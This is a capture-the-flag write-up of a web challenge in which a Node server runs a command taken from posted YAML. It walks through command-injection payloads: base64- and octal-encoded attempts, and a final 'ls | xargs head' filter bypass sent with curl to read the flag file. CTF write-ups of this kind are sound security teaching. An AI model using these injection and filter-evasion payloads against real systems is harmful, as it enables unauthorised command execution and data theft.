π§ BdSecCTF2025 β Yeti_Killer π§
Category: Web Exploitation
Points: βοΈ
Author: BdSec Team
Writeup By: z3r0X0r
π Challenge Files
The challenge includes:
βββ views/
β βββ index.ejs
βββ demoflag.txt
βββ dockerfile
βββ package.json
βββ package-lock.json
βββ player_file.zip
βββ server.jsπ Initial Recon
Browsing to http://45.79.9.104:3000/ shows a harmless UI that lets users convert YAML to JSON using JavaScript in the browser. But once we looked at the backend code (server.js), we discovered the juicy part:
const data = yaml.load(req.body);
const command = data.command;if (command) {
exec(command, ...);
}π Bingo! The server parses raw YAML input, extracts a command, and executes it with exec() β classic Command Injection (RCE) vulnerability.
π§± Security Filters in Place
The developers tried to prevent exploitation using basic filters:
if (req.body.includes("flag") || req.body.includes("cat") || ...) {
return res.status(403).send("No flags!");
}
if (req.body.includes("\\") || req.body.includes("/") || ...) {
return res.status(403).send("Hacking attempt detected!");
}So we canβt use:
flag,cat,curl,wget,echo\,/,<,!!
Basically, they were guarding the treasure π΄ββ οΈ
π§ͺ Exploit Development
β Confirming RCE
First, confirm the command execution with a harmless YAML payload:
command: "id"curl -X POST http://45.79.9.104:3000/ \
-H "Content-Type: text/plain" \
-d 'command: "id"'π Boom! We get back a UID and group info. Command injection is real.
β What didnβt work?
We tried:
command: "cat flag.txt"β Blocked! Because it contains flag and cat.
Then tried:
command: "bash -c \"$(echo Y2F0IGZsYWcudHh0 | base64 -d)\""β Still blocked! Because the string flag appears even in base64.
Even this:
command: "eval \\$(printf '%s' '\\143\\141\\164\\040\\146\\154\\141\\147\\056\\164\\170\\164')"β Blocked due to backslashes.
β Final Bypass Trick π‘
We avoided using:
flagcat\/
And used this clean payload instead:
command: "ls *.txt | head -n 1 | xargs -n1 head -n 1"π This does the following:
- Finds any
.txtfile (likeflag.txt) - Reads its first line using
head - All without triggering any filters
𧨠Exploit:
curl -X POST http://45.79.9.104:3000/ \
-H "Content-Type: text/plain" \
-d 'command: "ls *.txt | head -n 1 | xargs -n1 head -n 1"'π Flag Obtained
BDSEC{094ae1350eefe059b84faa0bd9ce2588}Boom! βοΈβ οΈ The Yeti is dead and the flag is ours.
π¬ Lessons Learned
- Always sanitize server-side inputs before parsing and executing.
- Don't rely on simple
.includes()filters for security. - Even limited RCE can be exploited using creative shell tricks.
- When filters get aggressive, attackers get smarter π
πΎ Tools Used
curl + caidofor HTTP exploitation- Bash, base64, printf, xargs, head for obfuscation
- Brain.exe for filter bypassing π§
π Boom! We get back a UID and group info. Command injection is real.
